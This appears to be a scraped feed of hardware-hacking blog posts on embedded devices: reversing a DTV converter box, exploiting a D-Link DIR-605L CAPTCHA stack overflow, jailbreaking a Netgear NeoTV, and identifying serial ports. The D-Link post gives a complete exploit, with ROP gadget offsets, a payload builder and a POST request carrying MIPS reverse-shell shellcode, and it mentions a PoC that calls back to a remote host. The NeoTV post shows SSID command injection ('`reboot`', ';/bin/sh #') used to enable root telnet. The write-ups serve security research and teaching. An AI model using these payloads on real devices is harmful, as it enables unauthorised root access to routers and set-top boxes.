  00249b10: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
  00249b20: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
  00249b30: 00 09 20 03 23 10 00 d1  00 00 00 00 00 00 00 00  .. .#..Ñ........
  00249b40: 00 00 00 00 00 00 00 01  00 00 00 00 00 00 00 00  ................
  00249b50: 00 00 00 00 09 00 00 00  00 00 00 00 00 00 00 00  ................
  00249b60: 00 00 00 09 00 01 00 00  00 00 00 00 00 00 00 00  ................
  00249b70: 00 00 01 00 00 00 00 00  00 04 00 00 00 00 00 00  ................
  00249b80: 00 00 00 00 00 00 00 3c  00 00 00 00 00 00 00 00  .......<........
  00249b90: 00 00 01 01 01 00 02 09  00 01 00 00 00 00 37 06  ..............7.
  00249ba0: 7f 01 00 00 00 00 00 00  00 30 30 30 30 00 00 00  .........0000...
  00249bb0: 00 03 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
  00249bc0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
  00249bd0: 00 36 00 00 00 00 00 00  00 00 00 00 00 00 00 00  .6..............
  00249be0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
  00249bf0: 00 __ __ __ __ __ __ __  __ __ __ __ __ __ __ __  ................
[APP tInit 13] 0001 Wait to Write SYSDB (After 15min)
[APP tInit 13] 0001 Wait to Write SYSDB (After 15min)
[APP tInit 13] 0001
[APP tInit 13] 0001
[APP tInit 13] 0001
[APP tInit 13] 0001 ConfigMask is 1663
[APP tInit 13] 0001
[APP tInit 13] 0001
[APP tInit 13] 0001 set rating passwd
[APP tInit 13] 0001 Rating 766 condition same
[APP tInit 13] 0001 ------------------------------------------------------
[APP tInit 13] 0001   CH 0,0 RF 2 #0, uid 0, ChannelType 0, CableStd 1
[APP tInit 13] 0001   ProgramNum 0, SourceId 0, PID pva: 0x0 0x0 0x0
[APP tInit 13] 0001   Audio vol 9, mute 0x0, lang 0
[APP tInit 13] 0001   TimeZone 1, DST 0
[APP tInit 13] 0001   CC: Active 0, Style 1, Size 1,  Src 2, Mode 9
[APP tInit 13] 0001     TxtCol 1, BgCol 0, TxtOp 0, BgOp 0, Edge type 0 col 1
[APP tInit 13] 0001     PenType 0, Author 55, Pos 0, mask 0x67f
[APP tInit 13] 0001 ------------------------------------------------------
[APP tInit 13] 0001 Load Air UCM
..initializing crc table..

Current: 'Air' 0-0, RF 2 #0, uid 0
  ---- UCM (total 0) [pid:p/v/a hex]----

[DMC 0d tIni] 0001 Notification callback 4f1f4 registerred.
[DMC 0d tIni] 0001 cmdChangeDisplay: cid 0
[DHL 0d tIni] 0001 DHL_AV_ChangeVideoFormat(4, 1, 2, 4, 0)
VDP_SetOutputAspectRatio: format -1, ar 2
**** vdp arc set: arc 3, zoom 1

 **** security not enabled ****

It looks like it’s using a U-Boot boot loader and running uC/OS-II, an open source RTOS. After this there is a lot of debug output as it scans channels for TV stations.

There is an interactive shell available, and typing ‘?’ (no quotes) provides you with a list of supported commands.

The 'i' command, displays a list of running processes:


Shell> i
MiniShell: [i]
call function of '0x000dd3c4'
Name                       TID(Pr) UsPr Stack_Usage State
-------------------------- ------- ---- ----------- --------------------
root                       0x01  1   62  1286/ 8192 Evt 0, Msg 0
IRTask                     0x17 23   40   372/ 8144 Evt 240b08, Msg 0
SysTime                    0x20 32   31   327/ 8144 Evt 240ba4, Msg 0
PsipRx                     0x23 35   28   293/ 8144 Evt 240d10, Msg 0
AV                         0x24 36   27   301/ 8144 Evt 240c40, Msg 0
MainKey                    0x26 38   25  1696/32720 Evt 2413f8, Msg 0
t_AuxCC                    0x2a 42   21   356/16336 Evt 241120, Msg 0
t_DccDe                    0x2b 43   20   317/16336 Evt 2410ec, Msg 0
t_DccDm                    0x2c 44   19   353/16336 Evt 241188, Msg 0
t_VbiDe                    0x2d 45   18   325/16336 Evt 241328, Msg 0
CC_tTim                    0x2e 46   17   328/ 8144 Evt 0, Msg 0
EATask                     0x2f 47   16  1370/39952 Evt 0, Msg 0
tDmc                       0x30 48   15  1942/32720 Evt 240de0, Msg 0
tEpgSca                    0x31 49   14   445/ 8144 Evt 241050, Msg 0
tEpgEvt                    0x32 50   13   333/ 8144 Evt 2410b8, Msg 0
tTimer                     0x33 51   12  2570/ 8144 Evt 240fb4, Msg 0
App_Tim                    0x34 52   11   137/16336 Evt 0, Msg 0
SigMon                     0x35 53   10  1752/16336 Evt 2413c4, Msg 0
miniShe                    0x37 55    8  9000/16336 Evt 0, Msg 0
idle                       0x3a 58    5   336/ 4048 Evt 240830, Msg 0
NwtTask                    0x3b 59    4  1056/ 8144 Evt 0, Msg 0
uC/OS-II Stat              0x3e 62    1   105/  512 Evt 0, Msg 0
uC/OS-II Idle              0x3f 63    0    80/  512 Evt 0, Msg 0
-------------------------- ------- ---- ----------- --------------------
call 0xdd3c4 result = 0x49 (73)

And the 'key' command displays IR codes and their associated actions:

Shell> key
MiniShell: [key]
call function of '0x00052014'
[APP miniShe 55] 4398 -- key string help --
[APP miniShe 55] 4398   00800000   POWER_OFF
[APP miniShe 55] 4398   00800001   MUTE
[APP miniShe 55] 4398   00800002   CC
[APP miniShe 55] 4398   00800003   ALANG
[APP miniShe 55] 4398   00800004   SCREEN
[APP miniShe 55] 4398   00800005   FAV
[APP miniShe 55] 4398   00800006   STILL
[APP miniShe 55] 4398   00800007   INFO
[APP miniShe 55] 4398   00800008   EPG
[APP miniShe 55] 4398   00800009   SRS_MODE
[APP miniShe 55] 4398   00800010   UP
[APP miniShe 55] 4398   00800011   DOWN
[APP miniShe 55] 4398   00800012   LEFT
[APP miniShe 55] 4398   00800013   RIGHT
[APP miniShe 55] 4398   00800018   VOL_UP
[APP miniShe 55] 4398   00800019   VOL_DOWN
[APP miniShe 55] 4398   0080001a   CH_UP
[APP miniShe 55] 4398   0080001b   CH_DOWN
[APP miniShe 55] 4398   00800020   SELECT
[APP miniShe 55] 4398   00800021   PREV_CH
[APP miniShe 55] 4398   00800022   MENU
[APP miniShe 55] 4398   00800023   HELP
[APP miniShe 55] 4398   00800024   DRF
[APP miniShe 55] 4398   00800025   EXT_INPUT
[APP miniShe 55] 4398   00800026   CH_ADD
[APP miniShe 55] 4398   00800027   CH_DEL
[APP miniShe 55] 4398   00800028   EXIT
[APP miniShe 55] 4398   0080002e   ADT
[APP miniShe 55] 4398   00800030   0
[APP miniShe 55] 4398   00800031   1
[APP miniShe 55] 4398   00800032   2
[APP miniShe 55] 4398   00800033   3
[APP miniShe 55] 4398   00800034   4
[APP miniShe 55] 4398   00800035   5
[APP miniShe 55] 4398   00800036   6
[APP miniShe 55] 4398   00800037   7
[APP miniShe 55] 4398   00800038   8
[APP miniShe 55] 4398   00800039   9
[APP miniShe 55] 4398   00800043   SLEEP
[APP miniShe 55] 4398   00800044   SMART_PICTURE
[APP miniShe 55] 4398   00800045   SMART_SOUND
[APP miniShe 55] 4398   00800046   CH_BLOCK_EDIT
[APP miniShe 55] 4398   00800081   DOT
[APP miniShe 55] 4398   00800120   BACK
[APP miniShe 55] 4398 
call 0x52014 result = 0x1 (1)

There are some other interesting commands sprinkled in there, such as the video_freeze command that allows you to freeze the on screen video without interrupting the audio (an option I couldn't find anywhere in the menu-driven user interface), or the rating_enable command which allows you to enable/disable the parental content filters without a password (bye-bye V-chip!).

This is all interesting, but if we really want to get down and dirty with this thing we're going to need some firmware. There are of course no firmware updates for these converter boxes, so instead we'll remove the flash chip and dump its contents using flashbin and a Gumbi board (raw flash image can be downloaded here):

$ flashbin --chip=mx29lv160 --read=flash.bin
Reading all bytes starting at address 0x0…

[################################################] 100.00%

All of the strings in the dumped firmware image appear to be related to the bootloader, but a binwalk scan reveals a gzip compressed section of data at offset 0x20800:

DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------
30216           0x7608          uImage header, header size: 64 bytes, header CRC: 0xE15744, created: Sat Jun 20 18:12:44 1970, image size: 14767988 bytes, Data Address: 0xE15790, Entry Point: 0xE157A4, data CRC: 0xE3520001, image name: \341\240@\002\341\240p\003\343\240`
101737          0x18D69         LZMA compressed data, properties: 0x80, dictionary size: 21364736 bytes, uncompressed size: 33554432 bytes
133120          0x20800         gzip compressed data, from Unix, DD-WRT date: Wed Dec 31 19:00:00 1969

Running a code scan with binwalk (option -A) against the extracted gzip contents confirms that it contains big endian ARM instructions:

DECIMAL         HEX             DESCRIPTION
---------------------------------------------------------------
896             0x380           ARMEB function prologue
1132            0x46C           ARMEB function epilogue
1360            0x550           ARMEB function epilogue
1436            0x59C           ARMEB function prologue
1464            0x5B8           ARMEB function epilogue
1472            0x5C0           ARMEB function prologue
1544            0x608           ARMEB function epilogue
1652            0x674           ARMEB function prologue
1844            0x734           ARMEB function epilogue
2224            0x8B0           ARMEB function prologue
2292            0x8F4           ARMEB function epilogue
2360            0x938           ARMEB function epilogue
2456            0x998           ARMEB function prologue
2596            0xA24           ARMEB function epilogue
2700            0xA8C           ARMEB function prologue
2752            0xAC0           ARMEB function epilogue
2848            0xB20           ARMEB function epilogue
2856            0xB28           ARMEB function prologue
...

Based on this and a quick look at the strings, this is definitely looking like the OS code, so let's get it loaded into IDA. Based on the boot messages obtained from the serial port, the gzipped data we found at offset 0x20800 gets loaded into memory at 0x10000, which is where execution starts (also note the pSymTab address...this will be useful later!):

...
Boot from address 2c000000
Boot from flash
MMU CR : 000510f8 (00004000)-> 000550fb
Processing BIZ file-from Flash: 0x2c020000
Aux data is symbol table(399362 bytes), pSymTab=0x1dfa8c
[Application Code]
Loading[4] Image from 2c020800 to 00010000(+1512037)
  -- TRY 0 ==>  2298510 bytes loaded in 0.778 sec, rc=0
  -- Checking CRC32[Bin ] ==>  Good, in 0.158 sec
Moving 7270 symbols(312102 bytes) from 0x001dfa8c to 0x0026d2c4
Load Image to 00010000...
Start from    00010000...

Loading the extracted code into IDA at the offset 0x10000 results in a decent initial analysis:

IDA initial code analysis

String references also check out, and we have several promising candidates for common library functions, such as snprintf:

Proper string references

sub_3EA1C is probably snprintf

This is encouraging, but with almost 4,000 functions, manually identifying them will take too long. Looking at the strings in IDA, there appears to be a list of strings that correspond to function and symbol names, starting at address 0x222ADF:

Symbol strings

Now we need to find out how to correlate these strings to their appropriate functions. The boot messages mentioned a symbol table at 0x1DFA8C, so we'll start looking there. At address 0x1DFAAC, we find what appears to be a list of symbol structures:

Symbol tables

The symbol structure appears to be:

struct symbol
{
     uint32_t func_address;         /* Function pointer to this symbol's function */
     uint32_t next_func_address;    /* Function pointer to the next symbol's function */
     uint32_t symbol_name_offset;   /* Offset of the symbol name in the symbol strings listing */
};

Applying this structure to the first entry in the above IDA screenshot, the func_address is 0x10000 which is the entry point for our code. Adding its symbol_name_offset value (0x1BAB2) to the address where we found all the symbol strings (0x222ADF), we get: 0x222ADF + 0x1BAB2 = 0x23E591. Here we find the string "start_code":

Symbol name for the entry point

This looks good! A quick IDAPython script takes care of renaming all of the functions to their appropriate symbol names:

start_names = 0x222ADF
start_addrs = 0x1DFAAC

addr = start_addrs
symbol_addr = BADADDR

while symbol_addr != 0:
        symbol_addr = Dword(addr)
        next_symbol = Dword(addr + 4)
        string_addr = start_names + Dword( addr + 8 )
        symbol_name = GetString(string_addr)

        try:
                if GetSegmentAttr(symbol_addr, SEGATTR_TYPE) == 2:
                        MakeFunction(symbol_addr)
        except:
                pass

        MakeName(symbol_addr, symbol_name)
        print '0x%X   %s' % (symbol_addr, symbol_name)

        addr += (4*3)

After running this script, 96% of our functions have been named, including the function we previously identified as snprintf:

Named functions

snprintf properly identified and named

Coupling this with the available source code for the uC/OS-II RTOS, we could really go to town on figuring out how exactly this thing works if we were so inclined. But scrolling through the list of functions, one of the function names caught my attention:

Now that's an interesting function name...

App_CheckRemoteBackdoorKey? :)

It turns out that this function is called by the MainRemoteKeyTask function, which passes App_CheckRemoteBackdoorKey the infrared key code received from the IR remote control. If one of several special IR codes is detected by App_CheckRemoteBackdoorKey, MainRemoteKeyTask will preform several actions such as providing a service menu, running a factory test, and even performing and over the air firmware upgrade:

MainRemoteKeyTask

These are actually pretty neat little boxes, and there is a surprising amount of potential for customization and modification. I can envision a wireless microcontroller that provides an enhanced user interface via the serial port and can automate commands, such as switching the channel when your favorite show comes on. Unfortunately, DTV reception is terrible here which really takes all the fun out of any cool mods like this. Oh well, I'm off to watch some Netflix.

Exploiting a MIPS Stack Overflow

$
0
0

Although D-Link’s CAPTCHA login feature has a history of implementation flaws and has been proven to not protect against the threat it was intended to thwart, they continue to keep this feature in their products. Today we’ll be looking at the CAPTCHA implementation in the D-Link DIR-605L, which is a big-endian MIPS system running Linux 2.4.

A pre-authentication vulnerability exists in the DIR-605L’s processing of the user-supplied CAPTCHA data from the Web-based login page. The formLogin function in the Boa Web server is responsible for handling the login data, and obtains the value of the FILECODE POST variable using the websGetVar function. The FILECODE value contains a unique string identifying the CAPTCHA image displayed on the login page, and is saved to the $s1 register:

$s1 = FILECODE

If the CAPTCHA feature is enabled, this value is later passed as the second argument to the getAuthCode function:

FILECODE value being passed to getAuthCode

The getAuthCode function saves the FILECODE value back to the $s1 register:

$s1 = $a1

Which in turn is passed as the third argument to sprintf, (note the ‘%s’ in the sprintf format string):

sprintf’s are bad, mmmk?

The result of the sprintf is saved to the address contained in $s0, which is the address of the stack variable var_80:

$a0 = var_80

This is a classic stack based buffer overflow, and overflowing var_80 allows us to control all of the register values saved onto the stack by getAuthCode’s function prologue, including the saved return address and the saved values of the $s0 – $s3 registers:

getAuthCode stack layout

From the stack layout above, we can see that the beginning of the var_80 stack variable (-0×80) is 0×78 bytes away from the saved return address (-0×08). The format string passed to the sprintf function is “/var/auth/%s.msg”, so there are 10 bytes (“/var/auth/”) that are copied into the var_80 buffer before our user-supplied content.

This means that supplying 0×78 – 0x0A = 0x6E byte long FILECODE value will overflow all of the stack values up to the saved return address, and the next four bytes should overwrite the saved return address on the stack. We can test this by setting a breakpoint on the return from getAuthCode and sending the following POST request:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 232


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD&login_name=&curTime=1348588030496&login_n=admin&login_pass=Zm9vb255b3UA&VER_CODE=

Registers at getAuthCode return

Excellent! But before we can build an exploit, we need to examine some of the constraints that we’ll need to deal with. First of all, any payload we send obviously must be NULL free, however, it also cannot contain the character ‘g’. This is due to the fact that prior to calling getAuthCode, the formLogin function looks for the first instance of the character ‘g’, and if found, replaces the next byte with 0×00:

strchr(FILECODE, ‘g’);

Beyond this, we have virtually no restrictions on the content of our payload. We will however need to deal with cache incoherency, so we’ll use a few MIPS ROP techniques to flush the MIPS data cache and obtain a relative pointer back to our data on the stack in order to gain arbitrary code execution.

The easiest and most reliable method of flushing the cache that I’ve found is to force it to call a blocking function such as sleep(1), or similar. During sleep the processor will switch contexts to give CPU cycles to other running processes and the cache will be flushed automatically. At offset 0x248D4 in libc.so we find the following:

First ROP gadget

This loads the value 1 into $a0, then copies the value of $s1 (which we control) into $t9 and performs a jump and link to $t9; this is perfect for setting up the argument to sleep(), so we will use this as our first ROP gadget. We will point $s1 at a our next ROP gadget, offset 0x2B954 in libc.so:

Second ROP gadget

This copies the value of $s2 (which we control) into $t9, restores the value of $ra from the stack and then jumps to the address loaded in $t9. Since we control both $s2 and data on the stack, we can ensure that $s2 contains the address of the sleep function (located at offset 0x23D30 in libc.so), and also control the value loaded into $ra. This means that not only can we call sleep, but we can control where it returns to. Note that it also allows us to load new values from the stack into registers $s0 – $s4.

Next, we find a relative stack reference in another library, apmib.so. At offset 0x27E8 it copies the stack pointer plus an offset of 0x1C into the $a2 register, then calls $s1:

Third ROP gadget

If we cause $s1 to point to offset 0x1D78 in the apmib.so library, it will copy $a2 (which now contains a pointer to the stack) into $t9, then jump and link to $t9:

Fourth ROP gadget

Attentive readers may notice that the first and third gadgets require $s1 to point to different addresses. However, recall that our second gadget loads data from a different location on the stack into $s1, so after the first gadget is finished we can load $s1 with a new value and re-use it in our third ROP gadget.

Thus, we need to craft our stack such that:

  • The function epilogue of getAuthCode loads 0x2B954 into $s1, the address of sleep (0x23D30) into $s2, and 0x248D4 into $ra
  • The second ROP gadget loads 0x1D78 into $s1 and 0x27E8 into $ra
  • Our shellcode must be located at $sp+0x1C after sleep returns

Taking the base addresses of the libc.so and apmib.so libraries into account, our payload then becomes:

        libc  = 0x2ab86000
        apmib = 0x2aaef000

        payload = MIPSPayload(endianess="big", badbytes=[0x00, 0x67])

        payload.AddBuffer(94)                      # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x2B954, base=libc)     # $s1
        payload.AddAddress(0x23D30, base=libc)     # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddAddress(0x248D4, base=libc)     # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x01D78, base=apmib)    # $s1
        payload.AddBuffer(4)                       # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddBuffer(4)                       # $s4
        payload.AddAddress(0x027E8, base=apmib)    # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.Add(shellcode)                     # shellcode 

It should be noted that the shellcode piece is in itself non-trivial. While I won’t discuss MIPS shellcoding here, just about any MIPS shellcode found online will not work out of the box (except for maybe some simple reboot shellcode). They may work on the specific systems they were tested against, but aren’t very generic and will likely need some tweaking. I will be using some slightly modified reverse shell code that should work on most MIPS systems.

The final POST request contains none of our restricted characters, and looks like:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 894


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BB%19T%2A%BA%9D0AAAA%2A%BA%A8%D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%AF%0DxAAAAAAAAAAAA%2A%AF%17%E8AAAAAAAAAAAAAAAAAAAAAAAAAAAA%24%0F%FF%FA%01%E0x%27%21%E4%FF%FD%21%E5%FF%FD%28%06%FF%FF%24%02%10W%01%01%01%0C%AF%A2%FF%FF%8F%A4%FF%FF4%0F%FF%FD%01%E0x%27%AF%AF%FF%E0%3C%0E%1F%905%CE%1F%90%AF%AE%FF%E4%3C%0E%7F%015%CE%01%01%AF%AE%FF%E6%27%A5%FF%E2%24%0C%FF%EF%01%800%27%24%02%10J%01%01%01%0C%24%0F%FF%FD%01%E0x%27%8F%A4%FF%FF%01%E0%28%21%24%02%0F%DF%01%01%01%0C%24%10%FF%FF%21%EF%FF%FF%15%F0%FF%FA%28%06%FF%FF%3C%0F%2F%2F5%EFbi%AF%AF%FF%EC%3C%0En%2F5%CEsh%AF%AE%FF%F0%AF%A0%FF%F4%27%A4%FF%EC%AF%A4%FF%F8%AF%A0%FF%FC%27%A5%FF%F8%24%02%0F%AB%01%01%01%0C&curTime=1348588030496&VER_CODE=1234&login_n=admin&login_pass=Zm9vb255b3UA&login_name=admin

And results in:

Reverse root shell

Success. :)

For those interested, PoC code that spawns a reverse root shell to 192.168.1.100:8080 and has been tested against firmware versions 1.10, 1.12 and 1.13 can be found here.


Jailbreaking the NeoTV

$
0
0

Today we’ll be jailbreaking the Netgear NTV300 set top box…with a TV remote.

The Netgear NeoTV 300

Negear’s NeoTV set top boxes are designed to compete with the popular Roku, and can stream video from all the usual sources (Netflix, HuluPlus, Youtube, etc). The NTV300 is one of the least expensive NeoTV models, and while a GPL release is available, it contains only copies of the various standard open source utilities used by the NTV300. All the interesting bits – such as Netflix streaming, or the ability to build a custom firmware image – are not included.

Inside the NTV300 we find a Mediatek ARM SoC, a 128MB NAND flash chip and 256MB of RAM:

Inside the NTV300

The four pin header in the top right corner of the PCB is a serial port (115200 baud 8N1), and while it provides access to the U-Boot boot loader, it does not provide a root shell. After the system boots, it displays copious debug messages and allows for rudimentary control over the NTV300′s user interface (i.e., pressing the right arrow key on the keyboard while in the serial terminal is the same as pressing the right arrow key on the remote control). Various attempts to send BREAK and SIGINT signals have no affect; we’ll have to dig a little deeper into this one.

Luckily, the firmware updates for the NTV300 aren’t encrypted. A binwalk scan of the firmware update image reveals a few firmware headers and two SquashFS images:

DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------
63944           0xF9C8          Mediatek bootloader
111840          0x1B4E0         Mediatek bootloader
128133          0x1F485         LZMA compressed data, properties: 0x80, dictionary size: 1073741824 bytes, uncompressed size: 196608 bytes
293660          0x47B1C         JFFS2 filesystem data little endian, JFFS node length: 8195
410769          0x64491         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes
410793          0x644A9         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes
410817          0x644C1         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes
428064          0x68820         uImage header, header size: 64 bytes, header CRC: 0x2023172F, created: Tue Oct 16 04:37:00 2012, image size: 1896744 bytes, Data Address: 0xDA00000, Entry Point: 0xDA00000, data CRC: 0xFD61E493, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name:
429156          0x68C64         LZMA compressed data, properties: 0x87, dictionary size: 250216448 bytes, uncompressed size: 14786800 bytes
445513          0x6CC49         gzip compressed data, from Unix, last modified: Sun Oct 14 23:00:19 2012, max compression
4182784         0x3FD300        Squashfs filesystem, little endian, version 4.0, compression: gzip, size: 76854395 bytes, 905 inodes, blocksize: 131072 bytes, created: Tue Oct 16 23:34:59 2012
30793205        0x1D5DDF5       PNG image, 133 x 133, 8-bit/color RGBA, non-interlaced
70987253        0x43B2DF5       JFFS2 filesystem data little endian, JFFS node length: 102880
72970663        0x45971A7       PNG image, 240 x 204, 8-bit/color RGBA, non-interlaced
73055216        0x45ABBF0       PNG image, 240 x 204, 8-bit/color RGBA, non-interlaced
73172060        0x45C845C       PNG image, 240 x 204, 8-bit/color RGBA, non-interlaced
73261506        0x45DE1C2       PNG image, 240 x 204, 8-bit/color RGBA, non-interlaced
73386095        0x45FC86F       PNG image, 240 x 204, 8-bit/color RGBA, non-interlaced
73436271        0x4608C6F       PNG image, 240 x 204, 8-bit/color RGBA, non-interlaced
78240759        0x4A9DBF7       PNG image, 780 x 870, 8-bit/color RGBA, non-interlaced
81538240        0x4DC2CC0       Squashfs filesystem, little endian, version 4.0, compression: gzip, size: 17109954 bytes, 326 inodes, blocksize: 131072 bytes, created: Thu Oct  4 01:54:51 2012
98651328        0x5E14CC0       PNG image, 1280 x 720, 8-bit/color RGB, non-interlaced
98675264        0x5E1AA40       PNG image, 720 x 480, 8-bit/color RGB, non-interlaced

While the firmware update does not appear to contain a complete file system, most of the interesting stuff appears to be in the first SquashFS image. The /usr/local/bin/ntv300ui binary is particularly interesting as it is responsible for providing the NTV300′s user interface, including the handling of user input from both the remote control and the serial console.

Although the ntv300ui binary has been stripped, there are plenty of debug printfs that reveal the original function names:

Printf’s reveal original function names

A quick IDAPython script takes care of renaming most of these functions:

import re

funcs = []
regex = re.compile('^[a-zA-Z_]*$')

for xref in XrefsTo(LocByName("printf")):
        ea = xref.frm
        found = False
        real_name = None

        for i in range(0, 10):
                ea -= 4
                if GetMnem(ea) == "LDR":
                        opnd = GetOpnd(ea, 0)
                        if opnd == "R1":
                                r1_string = GetString(LocByName(GetOpnd(ea, 1)[1:]))
                                if r1_string is not None and regex.match(r1_string) and len(r1_string) > 3:
                                        real_name = r1_string
                                else:
                                        real_name = None
                        elif opnd in ["R0", "R2", "R3"]:
                                r3_string = GetString(LocByName(GetOpnd(ea, 1)[1:]))
                                
                                if r3_string is not None and '%s' in r3_string: 
                                        found = True
                                        break
                                else:
                                        found = False
        if found and real_name is not None:
                name = GetFunctionName(xref.frm)
                if name not in funcs:
                        funcs.append(name)
                        print real_name
                        MakeName(LocByName(name), real_name)

print "Renamed %d functions!" % len(funcs)

With functions properly named, reversing can begin in ernest, and the code in ntv300ui isn’t exactly confidence inspiring. It looks like Netgear hired some Unix admins and told them to write an application in C; for example, here is how they re-implemented libc’s stat() function:

How not to stat a file

In fact, system() and popen() are used generously throughout the code. These are particularly interesting:

System calls to iwpriv

Popen calls to iwpriv

System call to wpa_cli

The SSID and encryption key values are used as part of system() and popen() calls. So where do the SSID and network key values come from? You guessed it, the user:

User controlled data!

So what happens if we tell the NTV300 to connect to an SSID named “`reboot`”?

Command injection via SSID

Connecting to `reboot`

Rebooting!

Sweet! Since we are already connected to the serial port, it would be nice if we could spawn a shell for ourselves on the serial terminal. Let’s try:

Connecting to “;/bin/sh #

Shell successfully spawned on the serial terminal

While this provides us with a minimalist shell, it is not very user friendly. There is no command echoing, and a ton of debug output is intermixed with the command output. Let’s see if we can find an easier way to get a shell – preferably one that doesn’t involve taking the device apart.

Examining the file system on the live device, there are plenty of files and directories that were not included in the firmware update file. Checking out some of the start up scripts, we find this juicy piece of code in /root/rc.user:

if [ -f /mnt/ubi_boot/mfg_test/enable ]; then
                echo "[WNC RD] Maufacturing Mode"
                #chmod +x /mnt/ubi_boot/mfg_test/*.sh

                #if [ ! -f /mnt/ubi_boot/mfg_test/disable_app_player ]; then
                #       #(sleep 3; /usr/local/mfg_test/play_power_on.sh) &
                #       /usr/local/mfg_test/play_power_on.sh &
                #fi

                echo "[WNC RD] Set ip forward"
                echo 1 > /proc/sys/net/ipv4/ip_forward

                #chmod +x /mnt/ubi_boot/mfg_test/reset
                /usr/local/mfg_test/reset &

                echo "[WNC RD] Set Ethernet Fixed IP: [192.168.0.100]"
                #ifconfig eth0 192.168.0.100 netmask 255.255.255.0 up
                echo -n 0 > /mnt/ubi_boot/settings/NetworkInterface
                echo -n 1 > /mnt/ubi_boot/settings/IpMode
                echo -n 192.168.0.100 > /mnt/ubi_boot/settings/IpAddress
                echo -n 255.255.255.0 > /mnt/ubi_boot/settings/SubNetMask
                echo -n 0.0.0.0 > /mnt/ubi_boot/settings/Gateway
                echo -n 0.0.0.0 > /mnt/ubi_boot/settings/PrimaryDNS
                echo -n 0.0.0.0 > /mnt/ubi_boot/settings/SecondaryDNS

                sync

                echo "[WNC RD] enable telnetd"
                inetd -d &
                (sleep 5; ifconfig eth0 192.168.0.100 netmask 255.255.255.0 up; ping -c 1 192.168.0.10; ping -c 1 192.168.0.11) &

        else
                echo "[WNC RD] Normal mode"

                # XBMC Server
                if [ -f /usr/local/bin/xbeventd -a -e /mnt/fifo ]; then
                        /usr/local/bin/xbeventd /mnt/fifo &
                fi

                if [ -f /usr/local/bin/xbhttpd ]; then
                        /usr/local/bin/xbhttpd
                fi

                if [ -f /usr/local/bin/xbmdns ]; then
                        /usr/local/bin/xbmdns &
                fi

        fi

It checks to see if the /mnt/ubi_boot/mfg_test/enable file exists, and if so, it fires up a telnet service (among other things). However, the mfg_test directory doesn’t exist at all on the production system:

Directory listing of /mnt/ubi_boot/

But with the SSID command injection vulnerability, we can easily create it. The commands to create the file are too long to fit into the restricted 32-character SSID input field, so we’ll echo them piecemeal into a shell script and then execute that script:

cd /mnt/ubi_boot

mkdir mfg_test

cd mfg_test

echo >> enable

/bin/sh /tmp/a

Finally, we power cycle the box. If successful, the NTV300′s IP address should have been set statically by the /root/rc.user script upon reboot. Let’s check:

Static IP settings

We can now change the DHCP settings back to dynamic, connect the NTV300 to our access point and telnet in (username root, no password):

Root telnet shell

Rooted with nothing but the remote control it came with. That’s all folks.

Reverse Engineering Serial Ports

$
0
0

Given the name of this blog and the number of requests that I’ve had, I think it’s high time we discussed serial ports; specifically, serial ports in embedded systems.

My goal here is to describe the techniques that I’ve found effective in identifying and reverse engineering embedded serial ports through the use of definitive testing and educated guesses, and without the need for expensive equipment.


Introduction

Serial ports are extremely useful to embedded developers, who commonly use them for:

  • Accessing the boot loader
  • Observing boot and debug messages
  • Interacting with the system via a shell

Needless to say, this functionality is also useful to hackers, so finding a serial port on an embedded device can be very advantageous. As a case study, we’ll be examining the PCB of a Westell 9100EM FiOS router for possible serial ports:

Westell 9100EM PCB

Now, these aren’t your dad’s RS-232 serial ports that we’re looking for; these are Universal Asynchronous Receiver Transmitters (UARTs), commonly found in embedded devices. Although protocol compatible, RS-232 and UART are not voltage compatible (from here on out I will use the terms “UART” and “serial port” interchangeably). UARTs most commonly operate at 3.3 volts, but can also be found operating at other standard voltages (5, 1.8, etc).

Unfortunately there aren’t any industry standardized UART pin outs, and manufacturers don’t often go around advertising or documenting their debug interfaces, so we’ll need to do a bit of work in order to interface with these serial ports. Specifically, we need to reverse engineer both the hardware interface and the software protocol settings.

Let’s start with the hardware interface first. For this, you’ll need a multimeter and a pair of eyeballs (or even one will do just fine). Yes, oscilloscopes and logic analyzers are useful and sometimes necessary, but 99% of the time a trusty multimeter and a bit of knowledge is all you need.


Identifying Serial Headers

The first step is to try to identify potential candidates for serial port headers. Most serial port headers have at a minimum four pins:

  • Vcc
  • Ground
  • Transmit
  • Receive

Typically you’ll want to look for a single row of 4-6 pins, although this is not a hard and fast rule and they can come in any pin configuration the manufacturer has decided on.

On our 9100EM PCB we find two possible candidates, labeled P1402 and P1404:

Possible serial port headers

Sometimes you won’t have a nicely broken out set of pins like this, and you’ll have to examine test points on the board; usually starting with test points closest to the SoC is a good idea. Here is an example of a serial port exposed via test points on a different board, the WL530G:

Serial port test points on a WL530G

